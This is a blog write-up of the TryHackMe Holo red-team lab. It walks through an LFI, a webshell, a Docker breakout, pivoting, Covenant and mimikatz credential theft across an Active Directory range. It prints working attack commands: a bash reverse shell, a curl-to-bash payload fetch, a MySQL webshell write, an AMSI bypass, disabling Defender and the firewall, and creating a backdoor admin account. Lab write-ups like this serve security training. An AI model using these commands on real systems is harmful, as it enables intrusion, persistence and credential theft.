hoS / blog
Post
writeup 2024-01-25 · 6 min read

TryHackMe Holo Network Writeup (Active Directory)

Red team lab. An LFI on dev.holo.live leaks creds, RCE lands in a container, a MySQL OUTFILE webshell breaks out, and SUID docker gives root.

Guilherme Alves
TryHackMe Linux Windows Active Directory Web
TryHackMe Holo Network Writeup (Active Directory)

Summary

Holo is a TryHackMe red team network scoped to 10.200.x.0/24 and 192.168.100.0/24, fronted by a WordPress host serving holo.live with admin and dev virtual hosts. img.php on dev.holo.live is vulnerable to local file inclusion, which reads creds.txt out of the admin host’s supersecretdir, and dashboard.php on that admin host takes a cmd parameter that curls a bash reverse shell into place. The shell lands inside a Docker container whose db_connect.php holds MySQL credentials for 192.168.100.1, and a SELECT INTO OUTFILE writes a PHP backdoor to that host’s web root for a second shell. The docker binary there carries the SUID bit, so the GTFOBins chroot trick returns root, and /etc/shadow cracks linux-admin to linuxrulez. Chisel then proxies into the rest of the range, where a leaked reset token on 10.200.107.31 hands over gurag, a PHP reverse shell takes the web server, and mimikatz recovers watamet with Nothingtoworry!, which CrackMapExec confirms against the domain controller and file server.

TryHackMe HoloLive Network

  • General notes and learning.

  • Working with windows: It’s important to know C# and it’s underlying technology, .NET

Runtime environment

Works as a small operating system, with all the resources available to be able to run the program independently of the operating system. It has all the functionality to run a specifig program.

  • .NET uses a runtime environment known as the CLR (Common Language Runtime) We can use any .NET language to compile in the CIL (Common Intermediate Language).

  • .NET interfaces with Win32 and API calls

.NET branches from .NET CORE (cross-compatible) and .NET FRAMEWORK (windows-only)

  • .NET assemblies are compiled exes and dlls that any .NET language can execute.

.NET code flow

.NET Language → CIL/MSIL → CLR → machine code

Engagement scope

Scope of the engagement: 10.200.x.0/24 and 192.168.100.0/24

10.200.107.0/24 10.200.107.33 (up) 10.200.107.250 (up)

Initial contact

  • Starting engagement against 10.200.107.0/24 network

10.200.107.33

22/tcp OpenSSH 8.2p1

80/tcp Apache httpd 2.4.29 http-generator: WordPress 5.5.3 http-title: holo.live

  • Some disallowed entries at /robots.txt

33060/tcp mysqlx?

Operating system Ubuntu Linux

Virtual host and valid subdomains holo.live admin.holo.live dev.holo.live www.holo.live

Webserver path /var/www/admin/ /var/www/wordpress/ /var/www/dev/

Vulnerability assessment

  • Possible LFI/RFI at dev.holo.live img.php?file=LFI [ Severity: High ]
  • Leak of credentials // Sensitive information exposure at admin.holo.live/supersecretdir/creds.txt Found via robots.txt disallowed entry (admin.holo.live/robots.txt)
  • Leak of webserver root on the internal filesystem // Sensitive information exposure at admin.holo.live/robots.txt [ Severity: Medium ]
  • Remote Code Execution at admin.holo.live/dashboard.php?cmd=ls+la [ Severity: Critical ]

Vulnerability exploitation

1
2

#!/bin/bash
bash -i >& /dev/tcp/10.50.103.137/1337 0>&1

L-SRV02 Compromised!

HOLO{175d7322f8fc53392a417ccde356c3fe} [ /var/www/user.txt ]

Docker container breakout

  • L-SRV02 is a docker container. existance of /.dockerenv few processes ($ ps aux) weird hostname /proc/1/cgroup including ‘docker’ keyword

Namespaces

  • Every process running on Linux will be assigned a PID and a namespace. Processes can only “see” the process that is in the same namespace - no conflicts in theory.

Leak of mysql credentials at /var/www/admin/db_connect.php define(‘DB_SRV’, ‘192.168.100.1’); define(‘DB_PASSWD’, “!123SecureAdminDashboard321!”); define(‘DB_USER’, ‘admin’); define(‘DB_NAME’, ‘DashboardDB’);

  • New username and password gurag:AAAA

Breaking out [ REMEMBER TO REMOVE ‘’ FROM THE PHP PAYLOAD ]

  • Able to write a malicious file on the machine that is hosting mysql. Payload: mysql> select ‘’ INTO OUTFILE ‘/var/www/html/backdoor.php’;

  • Created a .sh reverse shell script, bound to port 7331, with netcat listening and a http server up. $ curl 192.168.100.1:8080/backdoor.php?cmd=curl%20http://10.50.103.137:81/shell.sh%20%7C%20bash

HOLO{3792d7d80c4dcabb8a533afddf06f666} [ /var/www/user.txt ]

L-SRV01 Compromised!

Privilege escalation

  • Ran find to search for binaries with SUID bit set, and found docker. A simple search into gtfobins took me here: docker run -v /:/mnt –rm -it ubuntu:18.04 chroot /mnt sh *Needed to use docker images to see which images were available on the victim machine.*

HOLO{e16581b01d445a05adb2e6d45eb373f7} [ /root/root.txt ]

  • Able to crack linux-admin /etc/shadow password hash using hashcat with GPU mode 1800 linux-admin:linuxrulez

Pivoting

python3 -m http.server 80 [Victim] root@ip-10-200-107-33:~# wget 10.50.103.137/chisel_1.7.6_linux_amd64 C^ [Victim] root@ip-10-200-107-33:# chmod +x chisel_1.7.6_linux_amd64 [Victim] root@ip-10-200-107-33:

# mv chisel_1.7.6_linux_amd64 chisel root@ip-10-200-107-33:~# ./chisel server -p 8000 –reverse [Victim] ./chisel client 10.50.103.137:8000 R:socks

Host discovery

10.200.107.35 10.200.107.31 10.200.107.30

Covenant

cd /opt sudo git clone –recurse-submodules https://github.com/cobbr/Covenant $ sudo dotnet run –project /opt/Covenant/Covenant

  • The first step in operating with Covenant is to create a listener. Listeners are built off profiles; you can think of profiles like HTTP requests/pages that will serve as the channel that will handle all C2 traffic.

Target: 10.200.107.31

  • Webserver open on port 80

Configured foxyproxy Type: socks5, IP: 127.0.0.1, Port: 1080

  • Able to access the webserver at: http://10.200.107.31

  • Reset password form, discovered a valid username: gurag (found previously)

Vulnerability assessment

/reset.php is leaking the reset token to reset a password for a valid user on website’s cookies. http://10.200.107.31/password_reset.php?user=gurag&user_token=

  • View cookies and paste the token in the url field user_token=TOKEN to be able to reset the password for ‘gurag’

gurag:pwned

HOLO{bcfe3bcb8e6897018c63fbec660ff238}

  • Able to bypass the client-side filter using burpsuite proxy and upload a malicious file to the webserver, but the victim’s AV solution is rough.

$ proxychains4 crackmapexec smb 10.200.107.31 -u watamet -p ‘Nothingtoworry!’

Shell at .31

Uploaded this reverse shell to the webserver and executed it, receiving back a connection. https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/php_reverse_shell.php

  • Setting up a backdoor account net user hacker H4ck3r123 /add net localgroup administrators hacker /add netsh advfirewall set allprofiles state off net localgroup “Remote Desktop Users” hacker (ou Everyone) /add

hacker:H4ck3r123

  • Download files powershell -c Invoke-WebRequest 10.50.103.137:81/mimikatz.exe -outfile mimikatz.exe

Webserver root

C:\web\htdocs>

Avoiding AV

powershell -c [Ref].Assembly.GetType(‘System.Management.Automation.’+([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(‘QQBtAHMAaQBVAHQAaQBsAHMA’)))).GetField(([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(‘YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA==’))),’NonPublic,Static’).SetValue(null,true) powershell -c Set-MpPreference -DisableRealtimeMonitoring $true

Post exploitation with mimikatz and crackmapexec

  • Uploaded a compiled mimikatz binary to the victim’s machine at C:\Users\Administrator\Desktop\mimikatz.exe

.\Mimikatz.exe “privilege::debug” “token::elevate” “sekurlsa::logonpasswords” exit

  • Valid user credentials (by kerberos) watamet:Nothingtoworry!

$ proxychains4 crackmapexec smb 10.200.107.0/24 -u watamet -p ‘Nothingtoworry!’

SMB 10.200.107.31 445 S-SRV01 [+] holo.live\watamet:Nothingtoworry! (Pwn3d!) SMB 10.200.107.30 445 DC-SRV01 [+] holo.live\watamet:Nothingtoworry! SMB 10.200.107.35 445 PC-FILESRV01 [+] holo.live\watamet:Nothingtoworry!

$ proxychains4 remmina Server: 10.200.107.35 [ RDP ] Username: watamet Password: Nothingtoworry!

There is an app locker! Downloaded a script to check for executable and writable folders! https://github.com/sparcflow/GibsonBird/blob/master/chapter4/applocker-bypas-checker.ps1

[+] C:\Windows\Tasks [+] C:\Windows\tracing [+] C:\Windows\System32\spool\drivers\color [+] C:\Windows\tracing\ProcessMonitor

  • Seatbelt.exe [ Enumerate all system info ]

  • Using powershell, Import-Module .\PowerView.ps1 The go-to script to enumerate a windows system, looking for, mainly, privilege escalation vectors

Get-NetLocalGroup: enumerate/list all groups present on a local machine/computer. Get-NetLocalGroupMember: this command will enumerate/list all members of a local group such as users, computers, or service accounts. Get-NetLoggedon: this command will enumerate/list all users currently logged onto the local machine/computer Get-DomainGPO: this command will enumerate/list the active directory domain GPOs installed on the local machine. This can be useful in identifying utilities like AppLocker or other remote services running on the machine/computer. Find-LocalAdminAccess: this command will check all hosts connected to the domain a machine/computer is a part of and check if the current user or listed user is a local administrator. This can be helpful when targeting a specific user and attempting to move across the domain laterally. This can be used as an alternative to other tools like CME for passing the hash.

Default powershell commands Get-ScheduledTask Get-ScheduledTaskInfo whoami /priv Get-ADGroup Get-ADGroupMember Get-ADPrincipalGroupMembership

powershell -c Invoke-WebRequest 10.50.103.137:81/kavremoverENU.dll -outfile C:\Windows\Tasks\kavremoverENU.dll

Writeups TryHackMe
TryHackMe Linux Windows Active Directory Web PHP LFI credentials-leak RCE Container Escape mysql Docker GTFOBins SUID pivoting Mimikatz C2 AppLocker Bypass
This post is licensed under CC BY 4.0 by the author.